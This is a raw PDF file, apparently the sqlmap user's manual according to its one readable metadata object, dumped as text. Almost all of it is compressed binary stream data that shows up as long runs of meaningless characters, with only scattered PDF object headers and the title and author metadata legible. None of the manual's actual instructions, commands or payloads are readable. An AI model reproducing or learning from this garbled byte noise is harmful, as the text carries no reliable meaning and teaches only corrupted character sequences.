¿ºûˆÊI}ªÕú²³èûĉ,å~˜qê0sÂzÎ?ÖG0®\”¾ìb“ШgòÜŒžØ–)Ä-%mÑAF}“ÎïX¾bËq…VçÌ–vË4• ü­Eω”!„yJÄ®Ü`éëîÏ<:OÅŃÉ:‹ קB®^6-â7¼õACY€¡gÌ3šV7G…_çs#ÿ3-˜û¯µ†^ŽäÙ)Û*öÝ /ËHpgx¢¬ÜpÿvRϱ:¦DVOoØu‘ãòÍëõVxn>:)~Ϫ×ÿAº G¤d"‹ôÓ8Z¢”åÚCUã{j^Öš8(c.ð¤qaf<aàgœ(w³kblRò̽^,|wh ¢ßOZž:93¨Ï//œ˜Ü?Jq /Óµ×RXCM¼L9}-©ÒÎ/ºÝ«ˆW|³¿*‰x´1ÍÇ‘R}”÷v2—0y±N »C«To´i¶íð%~µ@ýi¢Iýwòè•w” çbZ랑Ȧ ß]D¥®…;¥…Bs… Ï€5Ÿ›ë¨‘e«Ï[§roTâ“ûœFT¶5ð„ÃÄÖ <Ô:í5zÊË^E÷‘D|9ÊÕ&$Ú|†;ȦjÌEVbsz½)¹9ðåKáØCódܾ D¸üo°òøDºeÂ!a®ÑhǾ5ñÁ~±Ç……,AbcÝLÖòm‘BÓ¯5S“VÂ*uïóÿåÅ¥§»xì•ù˜€¾úP$ØÀÊiz?'1¬Nv£!YQó ñ[ ê vq@yýšD”‚Ñj:Ðeÿ<ôs OM—]ƒr­a'…êÆöo®'£î Ú»ø L˜ÿÑÑŠ–úm²ì"lÄ×O› ˆ¦¥@WÃðuP™é•úb·ÄåüºÛ­ã%·eRš¬²+_j#HbðdU=.ˆ;óïxšwÚÖ”§è¨ 0Äšø,?ÝFGc0ï­‚’–EQI¯ôºùçhþD/üuí¾ù›åå•3ÍáFçZêøG÷Ùo aN5™Z·ÐÔ9&`ä p$Û†ãs ©øÑ‘¥rØdÌ&yŠxmY þ&»*‡¬·ì"³vÐã“G ”‰òáA6ï|/?&ìwaåxœS´Ê^à0X¥°¯Óv1ÉÄxæ»p†Zâ¶%(NÅÎÚ¡;qøä¼*D#+YUíø[h"Ê©©Qœ²Wá%ôßã¶ýkªöÕB9(„rÊÃ[Ã,*0ÊSÞ1k? ð<-ðË9:0ö¦ª½B4XséöÇbh”á²V¾ìòd\cÑVÑ?CVÅR´„^ö˜C›FÓ}U}#( >âKZÌæ:¾®1^idÍ|ëÇÔM—ø¦ ÍØ$ƒŽÆ &ûñÞ©à‹òëŒz‘|þó™)Ùa÷afæ£9Þ£Û—܇b‰«ÿY¶âŸ ô¼ƒ›+Nþo—bZÇÖH½à´÷•ß¿DšéšIä QÕ ·4©H P¤$®Ø´xzºU5Ú\˜Ü“mE q÷‚,o£Qu ƒÒ…£C»¾ÉØyÛë”÷ɤ¢b«R“8¢S‚Ú¸^­æÄ u¥kšÒaôÜrVضÿuøL¾t¥Æ€ƒ««ÜQüz2}iA¿)í~)™&Û(ÐêÉá'šŽêÜSnÀr` ½V£<˜2‘Ì„w´-’^Nߊ§|2|=&'8Þ5Ñ'È|¨ÏÓ4¹ÔÕ’ÿ¡o=hŸ}[ă©£È€ñ¾n¡u&ûÕòlF©õ¥†6Ì)}†0²Fæ£v?Âújß9W§Eï¹ä-{È@ã°«Wê=h¶¿ìþS¹Íñs¨82ÿùÚÊß__OØu8²! äÈh¾Ø"\3‰jkôʾaDÑ îŠíŠé™o§ùõñVSLãxà!8}MA ’§‘Š Öå¤ÚHxÁÙÍ:¦õ¶nB÷ÜrBæÀÿ9>¾Ìy¾´“ÅR …ûfîÔƒ«Ä kÉ ‡Ýlc@þì¿åHx°^ƒíý´ö*À§FÒ¬ lmÎÂÍ$ý»b r‚k@wvÿ¯R’qJcÍ°RèM§DB8µñvïµèJ‹ßôŸVú‹{>§D žÀ‚~D¬”Ñÿ®Ö_}ß t^8R†~e§?{L±´mf™&7ºC’V«¸ï7“Ìy¦ä`4­‘µíà¸ê˜‘7oþ=–vIÉ–2Q¯ÕøK¸hô3g°à‹-ý4ßåIÞ™q‡Ôƒ³XÎäTÕ 0.Î+ù¹DjyÙîmêmªW˜-“¦Ÿk†mi ýÕ²`H&HJFšðv’J”BäéC­w{p¥{–Q@9FåjXK†shÓ„S:í â¹àºß{ìQh¿DV¼} fc¨Ú׆¬:ÇTªìcGâÕ„A‹ý³ùb¾³b"e(šbÖðà1 ˆÔ+1ßÅMAWò}ýYõQŸïX‚ü{W{zCV°Æs e0X€² `wþŠC=g°¹@ä9%x-†]3¨/¨œ™Éf>Š ìÆšÒ5ñ(ÒÄ ¶c„’SØrB}—’|—:\殘VË ×þ•‘6£18‘ô1Þ •Ìôn??Ôš&&Ž1æE¤¥~c/‚TÀøn¨þ# †ø«¥ñ‡"&c'bÒC“UAƒj/röj|3¶—5-³·i0îRނʇ"«{¾îE´†•ùX÷éöjêžâŸŽ*0Ôµq°I…¢z¼÷W,ë7´¨v 3yØÝZîðÄ3q úT¦‚ÌB±âŸ „ÕüEñù÷å:8ÛG¢(ì0ýoz”‹Ueõþé•8©{CþT‰ÁèP¼üu÷WTœ—~‰|NS7:ë(IxíæºGC‚â¡Ä,ØK«J£ÐZ™ö1d²¿36\©Ç ¥,&Cš'±=×cÆÝÅ×Ü}€¶©™‰³m%!=»™‰mDß‘ú„ Áæ|~Åè_õM"Å £i3~i6;ìe•lí¶{=tj›Š@ýíY¡\RØÑAøã X¢”àB—£|1ú goajë˶«–,Ó”¸mÂ&¸¥:â{Zë4½q—ÃúB•ñ›s[/ü2Þ3îq0Ú*暧Moôe¡È½V_ø£óBÜRê9^ƒv–1ÅôE$zùö2úî¸ÕÒÓRb»ñ©‘Z)ny*ŽãB¯µw—˜×{̓w#}6°vÿ¨'è¢æCVâÃ9&¯’êЈRYt0…Ž¬Å—<ëAg$B™Q6p+æxRšÚ˜ùXYá@4yœR< 8'Dú4¢FÌîE Vü pÕhÏa¼´É(zÚr$%ëÃK,c×di+ Ã»r ÷Hyä÷ü9³‘>°ƒñ·ÕÜ‹ ­Åæ²Wôe °jT~¥)¢Ñçô½dhUù ¿Ìñ ^¢ö]‚ÑÍ®ëÔáO}ã/‘A~1âá?ça=H&§ìöMù’¶S𕶉MÇ5>Òó6Š 9bæ‘JîØrDlW@$N{Žòñ8´ è8[íškii ¦ø¼rjðÀš ”Ù‰žì&Ú±—KÇ£# pl-zc¸ò[ò/F±o?ËXQYØo·bð8ÛûbG¾ÁÖ÷ßë¶SGåwzcÛÆÙšˆ5`U2oSpâà(öB¶¨‡ì6ê¿ßU§ Ø/üÞ‑ӸBh[ÖÓ0rööÉN¬ Ü¸+zº:(dJi,¬åA*Z¦»g<¡uü¢î±Ý46 ‡ø¾xÑ·XŽ$ôØîZ¿„˜¬NÖ}8<¨õY0c’Ђtg®˜œ'8ì1Gh¼Uë™t½O#±˜­Û0¾õ\Ôõ¾4i¹àÎ{Þ +[kú09ëÔ.Ò–Þ’ Œ”ŒŸC' ta…(ç¡;#$¯}N÷æ¾U[«â›Xý]m£§êD'HT“ Ì>¯v: ^­s”ê/‹{¶Tã·ù‡àèã%¯:EY«aDÎxRÆÂ&xq‹IíØäãî%-¤ŒutTšdدñ+Ï‹Uõåf»È~‘=â~`€Oñïë̪Èûs–©:š›•ÚJcíâ$ÚÕ-ZizU,–•Iíý‹î÷LájÅHÞÅÁ­£gD:MG€ÝòÁýüßWdÇi8H/%ÛÊ¡QTÍç@¸£M=7ûtöZl âRšˈۥ ^ ˜ùeš}yha_×\›—jPEl|À I~nw~€æZp¨–\ ³…ˆ‰Â°§Ýüw #èƒÇÏ£{£¨zGáÖ@Ÿç}ˆu«†€õÂ¥@Ø’ìÿùÜws®€³ë”@ÒƒήÆ'¬eö&,/O¼ Ûì5ƒUd]Úìæ2¬ëóšî.æU{d Øl€f NßA%í Y§ÐÒÂüƒsÌ(ÁÊÖë?©ª8ZjrľV8ÆcËÊ™YøÔ[›€C€ÂùÔë°Ž’:{`*¦ZC°Ï²ï?.u„`ufŽÐJ)ל%‚½HEÒO ýfÖ*Á:J£?ÔGÚÓ Þyæ•ê2Óh¯vÂpí]{ˆÌ!ø¤ˆdh%‡Wé+¨þTpsl.¶5‹}NÄÇW´,ózÍ/[ Û‹ü·ô¿š¶‚KzûÉÙ–\,ܲ¡´dÖbÂä-ãÒ´,¤ðb½cuÊË ûU¦{Ò÷i݉·_Q]®ö $y{ B¢Nñ7úLÔ­õ\hûÉPHûQ'¬ÁGo#â#‡ÏÀÄÑ i¶œÏ/f—å{1lMiÚ^ù -E0n£^‹³Í/E5,ò3‹êã*/’Ò$Þ[óÍ:oÄôNÔ«Z£©{gëºéœïÚ…[B÷Èåû4„3¶N;É?á/ËýÊ®Ñé6c ©5½4ï7ú¢è^û+"§œšG»lA°öo°RL|S¦º XÅ{`"ãS®wsÖi^u†ÔLòïÙL+°QQgBdŽ±Eͬu¹Ÿv[E5”#êÒ«ý,¹–UY˜ñ|VÝXñÔsÁ+f¯áb ~aÜðI‚¬Ã­VÊÃ%–È>bKÔ<Ù÷CÔéYûôŽŒúe±) ²BŒß6Àñàœ*ªJ<²ñM©½ûGìeâ‰ëX™­tÊb¤c¡" e )þ$´â¨"éû”>ñ–ú¯»¾µRÌ2]”w4Í*–p®F¸™4/³L­ˆë¥úÝgÿFDJÅWLOT À‚ªE¨ÈÄl5³·6[‹yl[6nYÜõjî|>€gWeŠÆ%1×õcv§ÊTØÝûŸ»µ Ü0Œ´X¶$¸‹&¤µ¿˜ ÔL•9Ž;‘(N¯…ûX…q†´RZÔòož“B& ¡•Ä‹ûgé±dy¦íâR¬'á;F§edõI´–ÕlHlküWbŽAfÚ}Ë„ 9zCÕžC¡–Õ¼FW¬îÆëý¬žJA^°ãí}ݨÂéW‹_Wå-‘sµãs×<¶Û³´§h1x¨"ÔètN#gÿ¬ÿæ*ôËl«²º…ˆGÓWS~:Â[¹‰0•E”­2‰;è«iõ²ÿ]ÃæÁK°2tŠ«Ulª£w56`cÎ’4Sô¤®!.š-6õbùËíÚ_‘ÕÉñ<%‚ãÆ?6~¬/²>΀8Ñ–[J˜]¿F¢£b°¬Ût{!P¾kRœŒ¢K3‰ägᢧÅ}í›÷‰'‡ŠÕ[çû[è¥ÿÓ}¾9F¬ýƒÏ5RªÉÇ>›³2hÒbH‘OM\Õ~Âåù#Q¾¡ü“áö-ƒ·@DâTA$Hº©O¶uµç v$N‡äé!¢V¥xîq…Ô•wæyŒ‘¤pxq÷ù$Çe}L—³µäUák!ݹÜÞ¸üöÐ=§¿Ž»Ü[t°ø‚˜ ª~¤¾#þ ÁX#«G$5m¯“Ò´­0˜vÆ&Úd Ñ&=ŒŒG-’2ùT~›ð)ÿR&?"_nH·5Ñë3Û‘ÆÇ‘u-\ÇÐŽç.˜G4ûæü·eFØ•Ÿ±agó—ÆϨu»„Ïä­1Ž‰~žÑÊ´Z”á<¦í%3ÁÙ_Þ†¦·œL¡Õ¥EZh °Âáu!«gä{,ß÷3ýTµÌ˜â"Ø)}O÷¹2Ú›Ëc³gKh¬à|[¿¾r³ô¶†’+MO„…ƉHàÄp²¨¤Ô!‡a¢ñCÄÀÓ;Ù/Ý„øMîuh%:¦æfÆÊ~±8ïDÊüÇŠ“ hðï[µm˜7ŽaèÙ?ê£J»«è¤Îåÿ­‘”Dý~¶5û3ŠƒX"Ð)´ð~X€÷¼M;=I$xëéšBRU‹•)ÌŒ}#ž|ïÆt·æöHzH™=8:?ÕËß>Iÿ|oÒNÎIF `â¨)¦÷ߥÞé2„OëÃMœ‘»Êar¯;³êÇ “-˜±î-NpL0Íu>ÈÌœþ8ñ¤¸…á?†J`˜ÖŸ†\MDðƒ;T²^Œ@€åÝ1¯~Aˆ4Ý ¥ ã¥÷Ⱦ*N²dÒöG„C·ù<ÛŸžL¥Þ-ó‡H¿³½ôKl(¾ëéª"·D›= ¬œžÛ³\cî¯Ê\¼+ [L"š~ddXƒGš9<ónš¶—´¸hǼ5>Ñ® ÛÙˉ×ög2b„Ò)&ú.l¬L°€!Y/Ò)½TêýC¬`Ñc¯ánóó ®—¯ÆENÓÚe7xWž—÷ Óª”…47ˆ§èõm§š#·­÷!ÿ.±ˆl¶s{›/‡ÛO+^g7£Á”ë]Ý4²Ô›¶~ø¼)è¬LéÝF+ŠžÍ_zJ VU£`à‘l>É€F,«ŸêÐ z´j¡ŽwÝòú[{[œQNÂöp º)Ôt_}v)VòcënDËd]C¨ .C`´›ûLìö’yÉ_4[#Yr´þÏ©ôÄP@#‹ÎPÐĹ#¬¿%Òùƒ½ß“úäL]ÿ Þ;NUÀl̨ 3Ó°Æ{-$ÄT  †‹î¸RÛþߤV¿™¥aÅ¿ÿ ¶È-À¼”T­> ª(·ÎåNôXQcY=´ï’koÒöÁ!`³¥½dMÈn6FóÇ+IÆÃid<aòÑiêJNeª5@F‘)¦üÑê÷~¥ü»ó#Úå-·A6£<¼L¾l¢£°š¬ŒäC©£Ô#ý~*GjÐNÿZîzŽîl0Q6™Ø@‡u`ãô+1–êt4û‡EH4¥=D£6«Ëm®n{†ªƒâ¤:¼È[\U…\ãìÕ3Ìž/ü%í&W„´î§¬©|ô¤G2ÆÕâÃÚî^×2–voµ3‚/Ÿ«¹4~•sà»N_±,}6¬¸éõ`—*t; Œ;‰Î%á“UT/.ŸV‰°q¤&X ¤m:±5 z\~.o&+ç¿\~UÞÞw•FöLUü}ú<¤øòE±´Ù³‹Ê“ ¼ÒAÀˆÐ£Ü=,ÀfLjßï§-òDFs`@´0ª;+«oº·o·vâ™ÅfQ_¦eà»ê§ÑF†Éóã$ã¼gèa®Ã2‘rjk΀0h²5V³ô¨îÊ]!Þor~ig0çtɵÂæ;Ò{ývwäUTå£'YUk˜:§Ü”„lËᑲz*Ô½ ,×£å‹Ü“eèdð¡ù¼ï-~&ÄÏ È‰Kâs" ]Ø'K N^NqÃgæto7àœÊ2ù+f²‡"!à,q½ð†5…%ç­YE5^ó.KdßÉù "ÄOŽÕ^—Åj…”Åð!$+¹H²z±Yìl2óŒ‚Á+sŒê€9’Q ÁSBFAÎm²/ßÖêƒuœÝEZ Š'-:ý¯K½'£Î ûI¾Ê¢nÏ&LüǶï¨'&ÍíÎ8œ±¤ Å6:s–̺-÷ÂUv–ûÂm°@ŒT”rt3}E‘Þ=øhút©ž·|>nòãÆ|j„›Šø6Æ"¯WP×øZñ®U×f(<|å°¶Ô‰5ÔêEZEÜÚïß .ú;ƒwUÂLV8—Õ+¤€³ÍœÕŸ íí…b‡./jÙimGMØote¯ÃÐ-/¶‰ríµÒÄEW-„G_îÇ•w˜…H`Z”bJo'§(zÀý9«Œ2ïÓ¥ÅæN’3xêp,£Ï±¾Ú‚çZÊÝÌ·½½jp!¨-öôÊ›b(ÖÀÍÈý<œM\ͲSísö/ßÔPЩG™‚À1›¡?Æ\>?ÍhHžë9SÇ=‡÷¬`Äâ Â[»ð;Tì]ÑDV)™:ÎNZ#æN™¸t÷ï}%…‰Qx£+ím¬ýiz¡îa ¶1Þ"dß08gÙŸx‹ ðÏGA(t½ƒrä±CROXsðhÆéX†izHáõ #šjVbnÀ7¶óæÙ*¡GB ´¤^=ˆjæå?m?z½Îät­ùÐë¬ßk5³ÔôAY%© ²MÈ]„nÙa‘¯À.)Átbøɵ´¢÷/xEûü&Eý‚ñúŸÖ°úLÈÙÕóS g,a'Ê¿ž‹Õ•eNðÁû½Ö¸é4¦êe§ô2”Rý²¹Õ•8@¾óV wXdze0P9ÙבÙWb.¥mâŒéWn1ÔFŽsB% KIVÅ5¡ùê²·Ú*›‹Sà6 ñÛ改ËH±¨œ¾©WFL·º²^o…å÷sfÉ]À(‘cûšÎY-4!$vb?¹|¸;7¶nˆìïy%6ÞK¬cÄ»ü*sp+CÅÙ ©Ý¼à /sh3vÀ> R>¬+ÑJ»Oë˜eHÝŒUÏ©®¦äŒÛµ (¹Šx¦OîçDäùÌì>%o]Úa_ó´—š{ZXW ˺Ÿ[»ŽP yeŠŽ\NõÐÆÛxzûù±–È%£?Ø;Lƒµ¼ðµ|‡%®Mù(1¦7Ž;Ñ>1•Î´¾òþ$Rg¹½ˆå¼®qÜ&Ì‰× ¼õOsì *¡½´(?œ™ ±n(+7!j[$÷7õ•~EøÛSæ §WB|+º ‚t¥ ¹r-dìHGÖX…ûÑ4u,ï:$1ׄxLH‚SJoïrê­ÇùC…néÍ,Ó>ðŸÿn©ù)Y.Uˆ!¥w”¡=ý噆ý¬Å•91l’£ìós°Œ™¥P{OPð|õ7±¯ƒ #ÆâÒMv‰|LêR §„í~'Ž:£ùr à·×pµ¤w ãTµ9ÚYW}z6é’=ß056®¬íïÂ;CŒÀýE)1)rùÖbGüÐÙY™œÙ$-Wé¶ß´=Abþ‘Ãx7ôâßȇݪ™DÃSkô ¼äB2£—u£_R€ ýhí>ìz2+¼ä;þÔF¾~Û­;ÆÉy_Àº¼õ ZÆj[Æc+9¨ªKbï?ûË×à™gçûø|^XÚ›]KWÝË·äiӜהT¦)F«`:dR>T71‚æ(ŽQi¸ªµ¸Dð†‹Y˜ek#ºPKEM"UÝ•ägÓK§&$•)LY„½š;xfDéŽ%PÖøiŒO~‰ÿ_×(þF•A£ûÓ#F`ÐÉÜVD[1…/aC½ÈCÌÎR·Ežo ]¡ 1fOéŠ@:áœùÓ«]mX„懲¦örÉ•ð Ìò7pk}´éÛ`™±ymù®“ÔÕ¦Õ9Á) QÉ‚#;¿ˆ•†³¸ÚãÜî<%9iRË øÖ6üôÝ×–HÞ#¤õ†(ãú‡b Rqs`D'üLAd*ÜÜàõîÞTm‡£‹"Úb<ŸûzùƒâÀÉIû˜+„Ø+~ä>k7âÖÑîœâö°ÕíùPþ ¢Ô3µÀ#ï4‹ü¬<±%êªÕ¸À$òu”v;o´ —§³g4±M½Õå&”Bv½îEqJƒ_mÿÉw”Öý4Äj×ÊÇ÷™PáézE¾è.A@p‹3;"}˜ý}¨OŠüå ]ŽÅQŠ¸¦/±ŸÁ‰‹¾$v'åÑxß÷i»Æ%ÞJˆÊÕJ[JdÖou›ï¹=™8ëñ”ar¦:˜4!lsYÇüdcßW%ÍÂëá,Õ*­e-ð5*ÖáMÕÎØê ¢qx[1iãÉ®džvܳ“!›¨ʯ¯‰1ªï-j ¶$9-½ ¢]çJ7lì¢8!×¼«=× À–Ë”‘,è7ï• endstream endobj 1403 0 obj << /Type /ObjStm /N 100 /First 916 /Length 2740 /Filter /FlateDecode >> stream xÚ­ZÛrÜ6|Ÿ¯àãnm¹p;ˆªTª$ߢĶÉÙ)?P%Íz4#ÏűóõÛ b@a赬‡h0$ЧOŸ49± . ^eÊÂp‡Å7ÁEaœ.—þ2' L!ÈpÜ…0BãŠ.„µþÂ)…-$wrb¥.¤Ô¼(]YHâea¥)¤6º(#­Äd' YbEYòBº²,œ…â> ˜˜ ¸v…’Î_ÃBEÜL„¼PZ(Ï׌ô\ÁCYi1ÂdU*P’ÅèJc âHGH§ Ì•”IƒŠpWÄÀœ‚ˆÜ#ÌÓšü5Sñóˆcž%åGeA%¾Уi@’“L‹Bs¬6@Õ¼”¨B ‚NÊZJ>1Jcà ®`2hÌ5y½¡ŒÖ“&½!µ6“&[ɬK åÓœ5dÆ|¢Vrmüe,P¸Ù PéW`€Ri‹• •Ô¾v4Ên|Pm0Ù¯ÐÈ×ø¤µÆd«Ê‰×”sPVt–C|ã°B“,,Ç­Ph! ò[.Zq”ðõ· + @a› ˜gÉ ÖsÑ“ à5$·¾c4´%þ`Õ¨E¦ »|PÈ_”>(!ÁÒ%$X¢Ù&(VQ*+p“ í€Bbà{¹• –% $X‚"˜ŒIèL.ŠŽ0Ž ÌA‚Ž[šæ9ì\á…“¨9ZÉ70B 7§ÐÅNŽŒï7LÖèCB±jÍÎØYuþi5«V×-ÙÙ²:¯gõåº-}üfø©^÷—1noœ³óÅl1Çß››Š]°‹Å ±š5¼YýySÍXýõ|VÝ°Kv9ýR³ËÅfÉ®ØÕ²®À‚]³ëo·×õœMÙÙ'6c³zµb7lÎæÓyÍæ››3°ž^ÍÙ‚-pá–ÝVËzÞPiF-¤æõŸÓÅ»mVì3û¼©Wë)ø}Þ,ÖõÅÙ¬´K–lÅVõÍ´Í`U‰Õô+kµX³õõ²®ÙúïÛ°Íü,ÎËš}a³¯ìû‡ýS/ÿn»àÙ¥¾Ïxq<ùõ×­{:?_\LçW(úôò²ãózUü%LOªÉ%|i¸áìf—^/v9׳B© dŸÍ–:òA‡Xì­Œ³ÊõÍÐhÖ²+I'f+ˆÏ¶©€W¤Õ¦)eSÔF·FÁ¶ðMí‚°A⦲mK„ê÷B'Þ§«“ÆŒ}¼Õ¢8¶ª‡c;á }{&½D^÷ç{nþúÜtÆU¥ÞÚa4èÿ¿Zkv¶A™‡Ó}ç`»oÎÖÍWû|¿ZÕþNÁ>¼?8=>Å t¼¸©æ8‚ö³‹ÉàÈ‚³–²i;ölº\­ý1þ™°U÷Eø3æÝôb}½òº¸¶&wÚö{ÜŽÞ<>zÒs“;¹ÑnånnæA¸½{¼wôÛAàævR3CjFoSf›Zù Ô>¼þpzúb«¤ÑUîÐ+‡ô<¡]ÊуÐ{y°·ÿäp«ª»éáÉ`@(¡'¶é¹¡·÷âÝÁÉï==;FïΞP.)®Ý¢Wò¡wztzüæiì»vßÛ‰xöAØ=~÷êùÉáVëµ9vf\»”zv¯Þ¿Ý?<螶^¬wvÄïö]ºkÝ9ó0}·ûQð»»m§éô¶tòAØí?y}øÆÛÄËj}}òíæl1[ž,îîÉ’H˜pw8Z~—ãQuU¯ðŒºØ€Ž©#ÿ€±nßõšõL/à„þe_ñ¶Ò}jÓ~¶ïíu¼+øÏ÷ R¶oªû,ÛO×XÞ-Ú NÈûño¡ ˆíg[L¼^´Áñ ºT÷ƒ—tÞÁ(® ƒ³%sßP]17Ø`’±E{¤ß7T"´ç´tÁça@Ý@𠥓P°ñ¦ë9 Â%Â@‡û™P¡ þ7v CL®mŶø T(ˆ°!™2èVÝÊÓÉŸ *#¹ƒN.)x„9?Øìi()»Ö–¡ 2H*)ÜÒá–þ™ZIÓ©$M¶!Tw~Y†„KýC¡L*ô¸t]A—aÐ…Rá´PâgB)Ñ%£$…Aˆ©BLÕÕJÑw÷• E!B¨Œ2ßm3•p·‰5t*•]»°9ýÏ”Ýé¾öÉýžš_6»möŽ [Æõ šáûÛÔûå®X²óœæ‡ÐN®ï–¶_Oᤰçº: ÖnÖ3¼s¯:S/ºãÖ{zóóió­EwýÊ)^œ cºª=LìÈÇlº'…£eý¥ùõuÛøÛåÚÄåj|y÷(ñªþI ÀdFn L ›€å˜QÁt¦ÃëRK¬=c†«)®c«•ÛfÒVwˆ%VvK'X9^*ê­Ô(V"·ÊÉ­¢ÜÒaÉDm•S[Fµå¨ÚR%X"‡µ—£Ú‹D{™Ó^FíŨö"Ñ^æ´Q{1ª½H´9íEÔžjÏíEN{µZ;°d‚•Óž«ˆÅG°tx‹h±xF{í\ÀÒár%X2‡¥#–Åâ[XåKôXáW–ËKGåµÅJê`ruбZŽb%]¯s]¯£Ú4ª6%]¯s]OQ{ÕžíuN{ŠÚÓ¨ö*ÑžrÚ«¨½Õ^%ÚSN{µW£Ú«D{•Ó^Eíå¨ö2Ñ^å´—Q{9ª½L´W9íeÔ^Žj/íeN{µ£Ú‹D{™Ó^DíŨö"Ñ^ä´Q{>ª=O´9íyÔžjŸ8m`9ÀŠÚóÚ·«yFmŠÞJoœÐ©WXJÎë@³9¯ÃѸ뼦èÁ4ðà>Jç <Ǹ¯ \w°:q]ʹ.E×¥ë±d‚•ã]—®›jG9Ÿ¥è³dGë`Ò¬ßìi6u)‡:Ð0d,ÃÀœû ]éséFÓ¥¡é¦mNøhº40ÝAº‰¹õBvé†FkÓµiºr2ÖgèÍš’™ÝOÑièÆ)ÅœÿRô_Ò£ÏA‰göBvéêí§¢hWºÑ¦ihÓ9Ë£hÅD£I,¯O>PL*¢Á0d¬ÈбUR‘œRôhztJ1çÊ]™ÔXE”V VZ•T„Æ+Í›æÝiÓÍÙ"E»¦]W'GUή)Ú5 ìz€•ØužW´kØõ+)Jή)Ú5 ìzˆµm×”³kŠvM|TíÄ®)g×횸Å VN{Þ¿°+çF°ü?2ÛÂÊ™wÿà<–ÅJš8þû¢ÿ.b“Ê endstream endobj 1409 0 obj << /Type /ObjStm /N 100 /First 860 /Length 1839 /Filter /FlateDecode >> stream xÚ}šQ‹Ý6…ßï¯ÐcòV3I„@héS ¥í[ÉÃR–²Ð4%Ù–þü][˜,Ø–¥£™o$û&©¥CÚZ¨‡(3Ž˜·j ) Ž mèVZŒ~%‡œÐ¯P(ýr e“[Ê)TÁ}ia+¸/94Â8¡@‘sH©âdƒjJ¨@–[ N '˜;ú0:§F!:K©·D©‡…>‹  ˆÎ5b¦ˆÎuãÀ 7Üb$D-·Àȉ#ÄYqÄ}îiraäÅ,íÆý¢ÏÌÈŒbŒÔXú}äÆ qî˜ûEA` ­ˆfäÇÛ}(Z[¿JÓ‘`ºOÚã¦OÏŸ+"DL)1÷X€†¡ŠÁ®Ç‹Î¥‡SéaDૹçÔëÃíF `[°|CNÈ;HÌ@ B-Š)]Œ*㤗µlAz½À/ˆô:tÎw´èœ7(£ôR€k/€Êv¯:omB熔 õÏ1¡ dú‰àÑǹÔ^a¬á: Ý‹“ÞË*çÞ æ"_®GtݲË2Ã_n9äV"—¾N ÀÞYéYõ¿¾€WIÔ;á*Ȫ2Â_É€ŒœJn=ù€‘)úÕÒ1C"m7äƒâöå‚㽦¡FtB2•¨ƒÃ±'ΡrÝÂjJÃ+SWÙR?#™ÚííÛÛ·¿>=ÿùˆ2 vÙÏ·o߇¾²ï§?=|yüë¹×ý¸þòøï}#Þ¯><þ‡{X?ýêÝ;£O­­.µ²ÑJŽÖVT+-µèªuD9iñ©UÛJ«V£•-ð=µòR+-ò´”}]²/†}õØWe_–ì‹a_=öEÙ—%ûbØ}QöyÉ>öÅcŸ•}~ý1Ú£•v¶´ûãî‰\ I:†ýðôå볆ùãÃ×~ó þÝç ó†Ú<§VE¦ªˆ—¡(yI«Éä;²?b”v‰ñ¼1ÎSjÒT 2JÞ²KZ’”—£MÀâ(i­´Øl?.Ïu©e¶Cò¶kQ8-µÌv`o;°Ò¦%m2Û½ÅBÊž^`Œöh“Ò¦Õvàf"›ãXjTÍR#³Ôê<¥%Ú¢œ“ìÉG/ݨeˆi9Ú”!zeˆg¸5_ëíDÂmÓÑy…Î>•ÈîÒæŽ.Ú]šæ)E§œªe£ì «1ódÌóèën`ϘY™'cžµ®eðãRcæɘ'-cÌì3«1ód̳V2Zäi)íº¤mŒ™=cf5f.KöƘÙ3fVcæ²doŒ™=cf5fÎKöƘÙ3fVcæüûc´G[™—ÆÌæ¹nÔ};±1æ±tOÓ‹óœZ•É˜ÏYö9=›fµižmzmê ^ÔyòßI+™:¸q©óäƳ–©ŠçƬnÌ“Ouðü—Õyòß¹¦†}‘9ÃÜk:½ÈäiJµiæ¹(^‚jÅöÅcŸ•}^²Ã>{ìEÙË’½yJŽ('-e/KöbØ‹Ç^”}Z²O†½x쓲O/°?F{´“ÒN–ö@rd<ûvß8ÃÚ­Šì;OïDÄZ¶U²{²ì¥ÇŠy5ØPg:+uÚRd »Q‘B'YI™ °WÒ P\HE³ÜÉ[îQAÇèhV;y«=*ö¸Ân vÄ8IØ›OýëpV?ìÔ.Ny,úc©ŽïKu¬‹±T·iº³m±Œßzv«n;™­•¹ÁsZ5ÚÉg­ÌµžÉªÇNkdŒÁzþªöZ¥0ÞêY«:k] 6¶ê¹ªšjY 6ŽêªúiY 6fêy©Zi^ 6>êÙ¨ºh^ 6ê9¨h^ 6î陧z§øˆ÷‘UuÊÙ(§OórNæ³{„·oÛ±§_ø2Q;ÝÔNhÜÔ3SõÒÙJ­qÏWÕV'W¥b~Êò~SÓŸb#Åüëýø¡­ S/µÌÍ•9>ô½wh}]Z.óï+æëôúäžV€Ì¯1êVv­^Ÿ”Ž¿œÛßu˜¶³ÃÎÙ^Èìx½½fcÖ³M†‡ú‡‡O_Ão¯¾ÿüû›_ž¾<¿îÿPÛû†W?üñø õ¾6Ä×°›zmAŸ¶Ç1Z-{FKB˾0?"¤§OOÏÓ´g¿slû @6‘e´T3IAËn…£¥¾îofØözÿ—¦Ö›öz_£;'>»Ýcû€ô²» endstream endobj 1467 0 obj << /Author(\376\377\000s\000q\000l\000m\000a\000p\000\040\000d\000e\000v\000e\000l\000o\000p\000e\000r\000s)/Title(\376\377\000s\000q\000l\000m\000a\000p\000\040\000u\000s\000e\000r\000'\000s\000\040\000m\000a\000n\000u\000a\000l)/Subject()/Creator(LaTeX with hyperref package)/Producer(pdfTeX-1.40.14)/Keywords() /CreationDate (D:20160227152730+01'00') /ModDate (D:20160227152730+01'00') /Trapped /False /PTEX.Fullbanner (This is pdfTeX, Version 3.1415926-2.5-1.40.14 (TeX Live 2013/Debian) kpathsea version 6.1.1) >> endobj 1413 0 obj << /Type /ObjStm /N 54 /First 531 /Length 2127 /Filter /FlateDecode >> stream xÚ­ZM$5½÷¯ðq i§mLJm !!¸í®öã„84ÐB-Á̈iûï7"²\ã¬td&#.-+Âv¼÷v†]0åC„!kƒˆM°$m”À¹j£†R‹6Zh(0ËÐA[Ò3³Î”mp{–8¨è¤Y: mÉŸÚtÚÌ!G ™KÈYæ”V £ÍÜBæ¤óA ¹&)@´é!ÈÀ ¢Î  DYAcë'rVÈP¢‡*¼ =´€­éXŒ2éL(i?ÌJ©!p4ô2Œ!** ÉÄ 9pMÊK(‘m¬(‹­…B¬c)ŠzƃR¨±˜-‡ Yy„J‹ C-¦Q¨uiq¨-*>*¡Åh³ÔÐ’­ ÉrdÒ~² ŠÚZ#C*B4!"1Bãª:3†V,š@k•”³´ 